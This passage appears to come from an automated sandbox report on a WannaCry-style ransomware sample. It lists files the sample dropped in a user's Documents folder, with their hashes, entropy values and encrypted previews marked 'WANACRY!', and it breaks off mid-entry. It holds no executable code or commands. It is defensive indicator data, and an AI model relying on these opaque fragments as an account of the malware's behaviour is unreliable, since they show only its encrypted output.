                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkc9KOzRiJ+hA+OiSq1uk1HJi88xD1PKe5wV7ITvwx4/BzP7x:bk+O/+nSm1H+xDtSVGu4lPF
                                                                                                                        MD5:58C32F0040DEEF0E9FF5F4073A705E72
                                                                                                                        SHA1:6C0958377DE0252D7499401699A4215279CAA274
                                                                                                                        SHA-256:59235370FA08F71C4903AA602E0DA968469D1BC6CECC2E1D37650979A9075A66
                                                                                                                        SHA-512:12B96DA5097F756B67BA8C07EC549EEC59EE68859AB982EAF541B47C2995378F54C6111175FE92A75C54DB1A4E271350C01238DF6173AF2586F37E57F342CF0F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......+.<..(....x.[m.D0}...8.C....3S*.ij.E....tFw....ow7...u...G...wo.8..mq........)...."GzJ.Z...Q.:..>&m...!.!.(~D-uS$mZ..+.zC.J]...k........m.CA.{......Z+..&7>{..w.z.d...G.C....c.& z..@QKiZ^0.>......c..f.h.U.5..a=..y...q..yb-D<.h......>...B2q...............q.t.U.3Q...+.........*R.g.....@.~.m._...{x...=...-......I......Y.e[K..k(.',...y.tP1..$R7..Hg..dB.{8....I.!.......>...$K..mk.\(m._... ....d.-mt=.k...'.....9...v.......SB.6...o.C......^X.S.H.]....=.....e+.-......Uc...Sb..5.'..@.=.Z..L..W..K.^.|..W.F..B..9b..9.Y.i.d...|.I...4.To...s....'..........d....w.R......;.|...m....Q.QY...q.i.O.........b.m......[...|bO.(O.C..&...s.y....:.2.U......o..5......#b|.".......P......c.96...=^?`.RQ..6U.r....y.Ry.h.(/..Q..m...|.X.S.......bs.....6YAM1.I....i..q`..sS/Q.....'.K..(_se.N.W?...+$....Q.;I...k.%t.:D..G.V...4.Ul.\"|..R:.I..;..>.7.z.k\...<.L..#.cW..tG...:`.....kd.`.3.,.z.u....Z......h..B.z9.Fh....<.Vm...q!..t......uT....3._i.......n....d.

                                                                                                                        C:\Users\user\Documents\MXPXCVPDVN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.83718470633865
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkc9KOzRiJ+hA+OiSq1uk1HJi88xD1PKe5wV7ITvwx4/BzP7x:bk+O/+nSm1H+xDtSVGu4lPF
                                                                                                                        MD5:58C32F0040DEEF0E9FF5F4073A705E72
                                                                                                                        SHA1:6C0958377DE0252D7499401699A4215279CAA274
                                                                                                                        SHA-256:59235370FA08F71C4903AA602E0DA968469D1BC6CECC2E1D37650979A9075A66
                                                                                                                        SHA-512:12B96DA5097F756B67BA8C07EC549EEC59EE68859AB982EAF541B47C2995378F54C6111175FE92A75C54DB1A4E271350C01238DF6173AF2586F37E57F342CF0F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......+.<..(....x.[m.D0}...8.C....3S*.ij.E....tFw....ow7...u...G...wo.8..mq........)...."GzJ.Z...Q.:..>&m...!.!.(~D-uS$mZ..+.zC.J]...k........m.CA.{......Z+..&7>{..w.z.d...G.C....c.& z..@QKiZ^0.>......c..f.h.U.5..a=..y...q..yb-D<.h......>...B2q...............q.t.U.3Q...+.........*R.g.....@.~.m._...{x...=...-......I......Y.e[K..k(.',...y.tP1..$R7..Hg..dB.{8....I.!.......>...$K..mk.\(m._... ....d.-mt=.k...'.....9...v.......SB.6...o.C......^X.S.H.]....=.....e+.-......Uc...Sb..5.'..@.=.Z..L..W..K.^.|..W.F..B..9b..9.Y.i.d...|.I...4.To...s....'..........d....w.R......;.|...m....Q.QY...q.i.O.........b.m......[...|bO.(O.C..&...s.y....:.2.U......o..5......#b|.".......P......c.96...=^?`.RQ..6U.r....y.Ry.h.(/..Q..m...|.X.S.......bs.....6YAM1.I....i..q`..sS/Q.....'.K..(_se.N.W?...+$....Q.;I...k.%t.:D..G.V...4.Ul.\"|..R:.I..;..>.7.z.k\...<.L..#.cW..tG...:`.....kd.`.3.,.z.u....Z......h..B.z9.Fh....<.Vm...q!..t......uT....3._i.......n....d.

                                                                                                                        C:\Users\user\Documents\NEBFQQYWPS.pdf

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.85288950123934
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:vG0mCOKIXjxGAiXMFsGlMIliKYQkDwSHqOCl6TO/bPrRdh:/mjRtvKsDi8nYQkDw6fCHDRdh
                                                                                                                        MD5:62F7000324E270D867F2E373A215CCC6
                                                                                                                        SHA1:D6DD92CF92B141FA5675A258378BC2D8512A1195
                                                                                                                        SHA-256:E3754C833925864B62561BE3A00995370987A578FA6026B75927B7269144CA6C
                                                                                                                        SHA-512:FAB860F05286204191EA2D6A61FD1217F817FBA3A989C6707F0ADBB59ACA1EE419FAFEDE688D4FB27188FCEC8F316E23C1C95002F36421ED75BDE54CACCF1861
                                                                                                                        Malicious:false
                                                                                                                        Preview:..z5../).5.......4).V!p..#.FBr<...b..'.5....`s..)...+...:n.\?....:.$..Z.......*..G.Mr..E.>x..n.....PL..l.M...g.....f..on..L}.Ou.{PCx..yAY_....B.D.U......3....Bo..D#..)...b.k..lr.'.]5..i.5..1...P.@g._.Q...... .cv..H@.;.....g..#R.%K./....p....a...........m.IV*Q.9.@..-..b0....m....]:...c7}.....@....U.A..U...............0mq...O.......n.=.X.....l...~..t|v".`.@.\....7sqA......LV....].....b..F...E....F......r.oo...sb..%&....v....i.#.R...&..).S.X..(...;6....4.T....q..2.9GQ........>s.....d.~...6..).,.{.........lL#Z....t}.a6.w.....2N.....L_............t...wv\*...B ...=8.%..y.}..<.r....4<&...K.u..F./..e9.t.....`......4.Qw.h.j?...\.3.....zd...8i.U!.W....r&SCO.....Q.|XF...,...w.kg.2<'Uc..9...TjUd_[S....*(..%"...7&..5.....9e.i.o.&.7QgR....HM?`m<.s~V|N2m.-Z."..\.o.y..K.....:,.w.l..N.a..^.y...Y.o..C^qx.|[^....7.B...[P......J+|1.8..J....-c.EA..ml.....|y......G.b..a..zk?wYsH.pN."u..'L>!.u..xY....#.sD;..yE.Ls65......d..v.l.W.pI<..^........R}.9.n.\.&+n.Yj..!)B.yW.I....

                                                                                                                        C:\Users\user\Documents\NEBFQQYWPS.pdf.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.861049282085164
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkmuQ34NxN/6paAlPTJoTotSSoiVDRR+apOrZ06WMakJsr1x6:bkhQIl64AlPCkt/oipR0apOrq63shx6
                                                                                                                        MD5:2BA4D46720FCF717232D7A054033A1DC
                                                                                                                        SHA1:034B15292FD8F79D517BD94B87C89BF10E7E8E92
                                                                                                                        SHA-256:6A829110E87F028E6BD3F3BD05CB38796947F72D74AAA948FF2E9C1A87C7847C
                                                                                                                        SHA-512:3D1CFB9EF93045A1B7BAB3F54C033D3E2A7FEA0EAABF9BFCEF200D1DD6157A17F85BFDBC2F2E133185DED19D436672C44AE087A12D9EF565DE375D08EFD7660B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....s3..#>W.{..{...Qa...n..,-.R..X|.K..G_:.F.....Gb.[.ny$4M.d.R.....<H....QO...;...m..........v6..;6E......W,...X&..o.....&...W...#.AJ.j.L....|..r...i?L..0...U......\.U.It.'.+I.H......q=[..|M.m..bR.o...h..s...M......or.Y.o.t.*C..<.t.Y..1k.=.D)=................22}...b..8....%.(8....jGX(f..;ja..8..U..dG..Bz...*.)...^...r...p.Ge.4..A|J..Z..R.by...y.Rb.Fd.zh.....d...E..*.$..4...N.Bx"F.....mm..:...R..Q..H...]....=.....+...3@..FH....#...r...*W&...h.+..|...T.Kz......@2.g-.....2#.6.#.~......[9v\..[`C.~..1.$~..%pQ.wJF.8..wr...x.xB>h..T..N......ru..9|C.Z.I(.EP.%tr..;.Z.. .M.............QK...v.,.. .....cVr7....N..a.yi...R4...8m.SbN....<.....l.7..i.........vd.^..z..v... I.m..x#.....gm..;.`.1.s4}M\?V......4...".q..W1hlX....$..gt.......O..;;.zD....O./.(T.@......~..`........&v....]..._ME..=.w...`..9.I..z.q.0..Tckw...&.;@E.|...w...-.a.:...V..J.... bh7..VL...._....F...`.R9kv..$.[9..og4}/.[../S...`....r1.Ew.........u.|......P...V .}.! q...Z.S`>.

                                                                                                                        C:\Users\user\Documents\NEBFQQYWPS.pdf.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.861049282085164
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkmuQ34NxN/6paAlPTJoTotSSoiVDRR+apOrZ06WMakJsr1x6:bkhQIl64AlPCkt/oipR0apOrq63shx6
                                                                                                                        MD5:2BA4D46720FCF717232D7A054033A1DC
                                                                                                                        SHA1:034B15292FD8F79D517BD94B87C89BF10E7E8E92
                                                                                                                        SHA-256:6A829110E87F028E6BD3F3BD05CB38796947F72D74AAA948FF2E9C1A87C7847C
                                                                                                                        SHA-512:3D1CFB9EF93045A1B7BAB3F54C033D3E2A7FEA0EAABF9BFCEF200D1DD6157A17F85BFDBC2F2E133185DED19D436672C44AE087A12D9EF565DE375D08EFD7660B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....s3..#>W.{..{...Qa...n..,-.R..X|.K..G_:.F.....Gb.[.ny$4M.d.R.....<H....QO...;...m..........v6..;6E......W,...X&..o.....&...W...#.AJ.j.L....|..r...i?L..0...U......\.U.It.'.+I.H......q=[..|M.m..bR.o...h..s...M......or.Y.o.t.*C..<.t.Y..1k.=.D)=................22}...b..8....%.(8....jGX(f..;ja..8..U..dG..Bz...*.)...^...r...p.Ge.4..A|J..Z..R.by...y.Rb.Fd.zh.....d...E..*.$..4...N.Bx"F.....mm..:...R..Q..H...]....=.....+...3@..FH....#...r...*W&...h.+..|...T.Kz......@2.g-.....2#.6.#.~......[9v\..[`C.~..1.$~..%pQ.wJF.8..wr...x.xB>h..T..N......ru..9|C.Z.I(.EP.%tr..;.Z.. .M.............QK...v.,.. .....cVr7....N..a.yi...R4...8m.SbN....<.....l.7..i.........vd.^..z..v... I.m..x#.....gm..;.`.1.s4}M\?V......4...".q..W1hlX....$..gt.......O..;;.zD....O./.(T.@......~..`........&v....]..._ME..=.w...`..9.I..z.q.0..Tckw...&.;@E.|...w...-.a.:...V..J.... bh7..VL...._....F...`.R9kv..$.[9..og4}/.[../S...`....r1.Ew.........u.|......P...V .}.! q...Z.S`>.

                                                                                                                        C:\Users\user\Documents\PWCCAWLGRE.png

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.835153862397234
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:QcuwadRCJQDzpEUwr3dai/09jBcnb8Yb6wDMApo0sVYeY8N5AE/dEUNZZbMa7R5+:QwFWzOUwAik28YW1ZTVYuFNnbXvO3ZIm
                                                                                                                        MD5:3AFF86EA68FBD991FEA050A59EAB1428
                                                                                                                        SHA1:4DCA3DA89445B5C9184636DC559BAC1DCA4E8796
                                                                                                                        SHA-256:CD8193A1D2EE2E9CD25F1CAD8F96FF81EABFBBD18A8944FF823A0872F5A323E3
                                                                                                                        SHA-512:653C6CCF8C16BACBDEDB6DFE55B898FF21CD95EC804B343A35C628A286B8AA0C74F94ABD2CD52445D2A0945E7297BA284E81FF0E6344D0453D7666157C9836EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:.1..EX.T/~4p.3)#...`E.2.`.E....k.Ll....Z......@..t.-.........J..".%P7.6%..z2.1..R%...K.h........Y.....Xa....}.R..B@H..Y../&oS.E....x./.&?.R....+..W...|_....r.0......1.I...(.{n9|#.W...V%...69..b].?..+..U..t&..t@..6......>...0H.C92...SO..u.S..5.;..<..|R...y6.vp.c....*.#I.w..v5....R........&...._I.Z......*]..=......D....k.N.........._^.6..A....M_....).*;...?..s...w..L.+.8..............*.n;0..$X]j....&.x.).o..'Q.,.,9R...)..*.....%....L..T...'...i X....x.......h$P.Y.....,....2..s.K>...l........OoE..:.ke....'...d{pi.K$|D5..]......q.....Q[...S&]w.E%....&1.j...%..RS{...O.K3.v..(4....:|.0LJ...,~.>.s...9u..x...I.......B.N.....}...f.Ks.4.r.'(...f..L637.W.L..d..iC..2.,up...o.J..F Q..h..=.........w>......._....^y"Iu..K..]Fo..1.&..`..[3..OO.?..B...t.g.....>......K..R..J..C.|.%.7......y..m.i.W..n.8..l<J...U...p..3R{J[....h-f|...^........(fM.aM+.Y....wYG)jN.g6d...(.....c!n>+.<.`b...^.....WB$.9....0.=....)....X[Ut.$.0K..x.`.}.E.#........v.`..R..

                                                                                                                        C:\Users\user\Documents\PWCCAWLGRE.png.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.843513072257048
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgDUIgITvfGjIaYtzBGTUrx1RHXvQbKUAgMRrPnAeG4ud4lG9oM8qwrVY8AQZA:bkMj3GjIf1RHXvOjNyUeGFd4l4JNwJA/
                                                                                                                        MD5:CEC7A5189B29C56B3EEBD1F286C53DD4
                                                                                                                        SHA1:6942A441A0479ECA233BD13A3CC1AB6E83A8A4D0
                                                                                                                        SHA-256:F8B984937ADF0E09361F1D25D5033ACC425B320FC2F507AF544F5FB1388297B5
                                                                                                                        SHA-512:E235F53BE84EF2E885B474899140367EF81A095ED6AEBF1C9EB89BB34723148F8DF015C93D31ECB647BAED022277CE2D4C257A368A6B7E5B37D105FE968733EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....A...gT...Ck=.......m./....Q...g....4..Wr...=Fy.}.jb..7$....\...:.......f.s....*<..R'.H..^F...C-].q.*.....^.R&h....S...Q]l..7...!5.D....21B.;=...........Y.L......q..Nn.w.M.&Y..<.x...2......4..R..7......`..9.~).^...w...2#.Z....}hb.(..p.v................H...C...(...XH....ir.z.9!dk....1...)..!...I..D'4....Bm~....h..#\.r...0LC....H..u6@F..#.S.1....b......w(..|..`......9....L.....<.....6z..c....gSs.c5.(.F@v..6.bJ.]V.[/..iM.^..dqM..*z4.wT~..G.......y.c.d.......,|...g........i/.M.#.Y..,......u&.A......L.B..k@....S.......'.......P=.q=."I.B/.SJ.........$.....o?ze.:.Av.8.".l.H.(W/..."w.z"......Z.dZi.q.<0uK.&(^......E.?.Q.O.%.... .y]. ....}.....a...........=...-I2.k.......u......<..-..8.../X...~.5C3>+.....[...z.H..NW...j.T`.9+79h... .M$g....@......\9C...._&...S.S..R.}_y.....f.u$9/Y)..=....0.[Ay...t.....-k....u;.wp..#d..[.>....q.YM....?.#.......S4......z.n/..a1...m..d..~.qL........D.`5...H...-.4`o.....{.[......v#....a..l....u?c.

                                                                                                                        C:\Users\user\Documents\PWCCAWLGRE.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.843513072257048
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bkgDUIgITvfGjIaYtzBGTUrx1RHXvQbKUAgMRrPnAeG4ud4lG9oM8qwrVY8AQZA:bkMj3GjIf1RHXvOjNyUeGFd4l4JNwJA/
                                                                                                                        MD5:CEC7A5189B29C56B3EEBD1F286C53DD4
                                                                                                                        SHA1:6942A441A0479ECA233BD13A3CC1AB6E83A8A4D0
                                                                                                                        SHA-256:F8B984937ADF0E09361F1D25D5033ACC425B320FC2F507AF544F5FB1388297B5
                                                                                                                        SHA-512:E235F53BE84EF2E885B474899140367EF81A095ED6AEBF1C9EB89BB34723148F8DF015C93D31ECB647BAED022277CE2D4C257A368A6B7E5B37D105FE968733EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....A...gT...Ck=.......m./....Q...g....4..Wr...=Fy.}.jb..7$....\...:.......f.s....*<..R'.H..^F...C-].q.*.....^.R&h....S...Q]l..7...!5.D....21B.;=...........Y.L......q..Nn.w.M.&Y..<.x...2......4..R..7......`..9.~).^...w...2#.Z....}hb.(..p.v................H...C...(...XH....ir.z.9!dk....1...)..!...I..D'4....Bm~....h..#\.r...0LC....H..u6@F..#.S.1....b......w(..|..`......9....L.....<.....6z..c....gSs.c5.(.F@v..6.bJ.]V.[/..iM.^..dqM..*z4.wT~..G.......y.c.d.......,|...g........i/.M.#.Y..,......u&.A......L.B..k@....S.......'.......P=.q=."I.B/.SJ.........$.....o?ze.:.Av.8.".l.H.(W/..."w.z"......Z.dZi.q.<0uK.&(^......E.?.Q.O.%.... .y]. ....}.....a...........=...-I2.k.......u......<..-..8.../X...~.5C3>+.....[...z.H..NW...j.T`.9+79h... .M$g....@......\9C...._&...S.S..R.}_y.....f.u$9/Y)..=....0.[Ay...t.....-k....u;.wp..#d..[.>....q.YM....?.#.......S4......z.n/..a1...m..d..~.qL........D.`5...H...-.4`o.....{.[......v#....a..l....u?c.

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.jpg

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.827904948341998
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:f0FXWcg1R23qRQQI43yLBiLs+QOzLwCDQ5iZjqCQYZJA:cFmcfDQI43yliLbzLw8ciV/QYZK
                                                                                                                        MD5:AD7F3C2457D96F24257B13A13CE26597
                                                                                                                        SHA1:A5EA9A9E567219AC611EC4F3003DF55AB62D379D
                                                                                                                        SHA-256:722EE1FE3849588AAA9F798941D2FE47D4BF39242773FBAAE4B47E5EEA6ED152
                                                                                                                        SHA-512:6D16926A70B21F23063BA6FF4C6FB89A7FEB29E6168EC8540FF9030DF256190392069365CAA6C195628CB1A3FD663DF73D600DDC39DB6C94F67D1ABE2D0FE421
                                                                                                                        Malicious:false
                                                                                                                        Preview: ........D.]..u:.....pI.^.dh...I).Y`?.Y\S......`/}*p.-.1.Hv..E9|>.,Y?...ug.........?j..Y.."*.B...@.7.j...J...$*(....<.....h....03...r..L..N...J....**..O.w.5..T.'..r...}M{2~.Q...O....+.l.ZO.o....;Cd....N:...N......s>......&A .._y-H.{.K....Ev.j.........is.(..>..<..a.....t.!.(.S.......,.I.z......l.J.j4......1.l.d..c.X..b...S.Jj...'..!kT..K..cA..xq....(6.N.. ?@c..b..hp>....;;.Yea..I....|s.U*D)..9H.)...2.Q.^..|..i1...`.`.ZF...H.Sv..q....T..L......s&F..h....?.....0...c'....D.....?n.....K.....<.m..t......J!ww._.4..h.........I?i.v..& ...t.@....+..9R/..^.O.2..........]...`...>...~.a.I.lS.y.X..}...,L...%|....x.s+.5>.g:..R..yT^......'9.lJ.M...z|....=........*.~.S.O.V..~P.mx6...=..4o.D.....6....D..A...'.PJSB|....T....f..%...k..n..W.....4.L...-m..x.t.9.4.{...R.m.".J...i~..|w.Q9.15.9HFO.........s.TO9S\.|..S....%....<I..a.....?...~.{.".b..w.y.v...z.@.o..x.%......9Y..z.mF..V..I...XV5..;.^....u$W@&....!..J=I.c.o...l[Gz..t..Sy.>.9....E.....mJ..+`&k...

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.jpg.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8554234760187756
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bki13I9UTnPOdCBRXnfuOwgdbDkadrAAXTGcLtfKzBDOWL4/rpH:bkixITCLXfbwgd7miKkfXNH
                                                                                                                        MD5:8021A5945811CB7A5C72B2312272A4A9
                                                                                                                        SHA1:B4C451CF34A7AFF0EB455DCA1B35EA5558FA4001
                                                                                                                        SHA-256:E87CD63CC503C4E6844D4CE1D371F2FDF509660E7361DCA63D69C6E24EC2C80D
                                                                                                                        SHA-512:223F9384A9633078E16F7468D5605465CA33FEE2CA0B21A6EA698B9C1AE8C98560996E63A0C0EB2262FEB1EA58AE215BCFA43818D99C4467700818E9C5426A22
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....L...K..4.N0..6..T......`.3.;hbL"..b..K7...Jv..~r.....Zq...^2H.M<..c..%...._....G.w....<@".!C.....z ..!......g..B..@.zV.k;!#q#...F..XdU3..aX..52.|.am..|GG...`.vK.!...H}?..si......1..."...P@.`.'.....<oC.v;.a..r....n./..{.8..;.gs.5./........:.....p.............ifZ..N.H,.f....o.........$.nIXh.J.7..B.....@.jY-.....X7.E..$QFi...?.zo..v....(.........Z.:.f.z..|L...ZmC.\.(...,.....Z^..K.$S.>l...a......GBG..."e.w.IP.~.eg~....Y....g........B.?%.1..i\}w....*N..w.'.7i~....J?......ne4......&.;,.q.K.GP.V..>..U.<.5..=....SW}.?.k..q...n.Z.~.A...,%...$.Y.....g..=,O..>. ..p...v...3q&H....-A.I.|7t+-...{..~...TsK..K.................mq,DK.D.....Gd.J.....]..Ft.....O.......gL.g.....e.J.t...&.+..y.p[.H)....S....?.9....l>7..|)......R...s.=.~..[g..lH&..}...I..P(........{F-...6\GbHd=..H.M.\..c.C.J.d....2d.....Ec...T>.U.....n.....I.e.......7.a.~."../....Bh /.%.X:.:.;>,.@...]Z.m/.....G..x ,.fT.L....l..G}JA."8...m....fz..1.[.:zl(.U.EF..AA...n..)..........m

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.jpg.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8554234760187756
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bki13I9UTnPOdCBRXnfuOwgdbDkadrAAXTGcLtfKzBDOWL4/rpH:bkixITCLXfbwgd7miKkfXNH
                                                                                                                        MD5:8021A5945811CB7A5C72B2312272A4A9
                                                                                                                        SHA1:B4C451CF34A7AFF0EB455DCA1B35EA5558FA4001
                                                                                                                        SHA-256:E87CD63CC503C4E6844D4CE1D371F2FDF509660E7361DCA63D69C6E24EC2C80D
                                                                                                                        SHA-512:223F9384A9633078E16F7468D5605465CA33FEE2CA0B21A6EA698B9C1AE8C98560996E63A0C0EB2262FEB1EA58AE215BCFA43818D99C4467700818E9C5426A22
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....L...K..4.N0..6..T......`.3.;hbL"..b..K7...Jv..~r.....Zq...^2H.M<..c..%...._....G.w....<@".!C.....z ..!......g..B..@.zV.k;!#q#...F..XdU3..aX..52.|.am..|GG...`.vK.!...H}?..si......1..."...P@.`.'.....<oC.v;.a..r....n./..{.8..;.gs.5./........:.....p.............ifZ..N.H,.f....o.........$.nIXh.J.7..B.....@.jY-.....X7.E..$QFi...?.zo..v....(.........Z.:.f.z..|L...ZmC.\.(...,.....Z^..K.$S.>l...a......GBG..."e.w.IP.~.eg~....Y....g........B.?%.1..i\}w....*N..w.'.7i~....J?......ne4......&.;,.q.K.GP.V..>..U.<.5..=....SW}.?.k..q...n.Z.~.A...,%...$.Y.....g..=,O..>. ..p...v...3q&H....-A.I.|7t+-...{..~...TsK..K.................mq,DK.D.....Gd.J.....]..Ft.....O.......gL.g.....e.J.t...&.+..y.p[.H)....S....?.9....l>7..|)......R...s.=.~..[g..lH&..}...I..P(........{F-...6\GbHd=..H.M.\..c.C.J.d....2d.....Ec...T>.U.....n.....I.e.......7.a.~."../....Bh /.%.X:.:.;>,.@...]Z.m/.....G..x ,.fT.L....l..G}JA."8...m....fz..1.[.:zl(.U.EF..AA...n..)..........m

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.xlsx

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1026
                                                                                                                        Entropy (8bit):7.819059615336983
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ZQNfp7QkOIMe9twYvu0LZMNujJhLrbgI6LKFawAWIuVh:WkkvMQ6YvP+NujJBrTAwA3+
                                                                                                                        MD5:0A4C385273C2C97FAA832316A6B01BA1
                                                                                                                        SHA1:D5C3D3FABBDE7B0E14D6CA8233D1964F940BEE77
                                                                                                                        SHA-256:001F6DF6A925D607B4ECFF632D6D8F043330870163F0F49DADAF5BF2A6A6A0CB
                                                                                                                        SHA-512:30F2BFEEE153D19CD77A8D207E1C250DAF313316C98E55DEC2C8BD0D08001450EFB96A449CDFFCFFB99B3B8ABBD66FD36C1B48940ED86B6E03D3F2CF98F4349A
                                                                                                                        Malicious:false
                                                                                                                        Preview:.......{...V..@...q...Z.9.2uC..r .....#C.........]z.n..C#.CP...R..LG..d(...."F&.]8..M...p).....k.T.:........Wo....{w........|r.U.+f.s8...T...3.N..sc.l.M..M.p..^..Y.v....YH)I.....r..].ai..|Gi..@0.rO`...py]..........=...*.,.bP...6.+A....5..).hi-8.......C..s..F..0..lK....JT#..BK..Y...sX..<..E...O.)..qV~..rg.J...A........Z.~.B.Ru...gR..#eE74..q.{Z.....O.g.................M..w......z.:..a.~...v..mR.+...X..Z.M/.N..JF..l.p........\,;{&..{..i.I..A{..{..c........l....A.._..h\..........H....ox...A...o:..N[._.C.ch.o*Y.P.R.+i[.Y..X.......<.:r&GZQ.....<.....*#..95..N.A..........y.}...N.!b.5_../........2.7....'7..0.^..l....`...2..S...(.......>V...O.(Z.O...~.H5T.q.......,.^.fs...oJ.P.4.9...;.<...t...9W..d%...E.N..N.:qu4#..\...E.Lo5.Gx`.7......Q.w..~..:}....n.'....E...jm.[.7&...q.2..Kv.a...#~.......WH-..ec.P.....\.+Qgo..C..Rc*._.@..R38cd...._.o......-..G...t]....T...Z.2...n........m3.K.$x.lM5..>...L....|.5t.t.u... .....S.+....+..M...[...M,3..%..S@...

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.xlsx.WNCRY (copy)

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.8261051313040415
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk2Rh3ULr06G9ZZ6epF7auaMuKoLYHmf7oEhYO5pNuEfBNUpJ8lnEA0g30A3Qqmm:bkix8oN9tpF+hXfLYKkapApCnEA075qX
                                                                                                                        MD5:0BEE511BFB9A8549C0A1B29A4728F6EA
                                                                                                                        SHA1:98C37B7FAF9B4E094A08306C764AD3332CC1E924
                                                                                                                        SHA-256:B0C32EF2529E7694A53D8B4E84F0D16A91B5AD80BD04E55287AF476597E44592
                                                                                                                        SHA-512:6874D821C664A17C3368909A9089DACA6E5919D728B86BA669A8D1FDF1206DA86BECDB5D12FF8B7742A677A2B0709F1185D54587A0C28CF595A9B993A77F5909
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....+,I...nw.T........D...T....c..~..G_x'.>nc...F.K"......!...e9.a..gw7.@)Sw..&.,s.....Ki9B).W....E..vW.........#..;|...{=B.....hG2=.?~%Us!b..}S....T`i.b.5.@5..[.Rf.Kw.(N.C..E_.......@.Y....<,{+.....x..D[X{Me.z..T7:.7..\{f.p.........#.w.BC56.V.`"k.b.)i................T<....._.L.%.Y..<6.X6\..7...:.G2..s)<...$..D...wy...Z.2Eq/..4.(...]./^.Z..y..E......p..Xf..X.e4..]...V......../:G...../C..I....C..F{.K..U-u.N...fm..N!.:/..1g.~........wH.{..{7..Q~...t.....\:..~.}AO.7'.``.w%S R....1..:.=..4..vj.Y5...k..+.....Y..W2.A...8.q........}S.......)..e...N..z-V.p9.t&.A?J..t..P......7$.1.J.mz........&.+...YZ.Fg..1.y}.}Nm..;...t..*f.......\.}k...@..6...2.........-..E./....N..|.u....9..k;.E24.A....Q...<O....I.....d.48l.F*.....\t.G.F3WetYy..=].....d.'.E|;1.x..{...#...).{..+.`....=.X..R..b..3.k...u.A.R..V.=.Q......_..9Pu9.b.Q.#.%...*...8.Fy.......*y.-!.{p.8.>Z.\N....);..o............{..X...[...n.=Y.vw6..a4.]a..CXA...r...h=X5..D+}..3+.T%.F...(.. 9v.J.K@`.ye

                                                                                                                        C:\Users\user\Documents\SQRKHNBNYN.xlsx.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
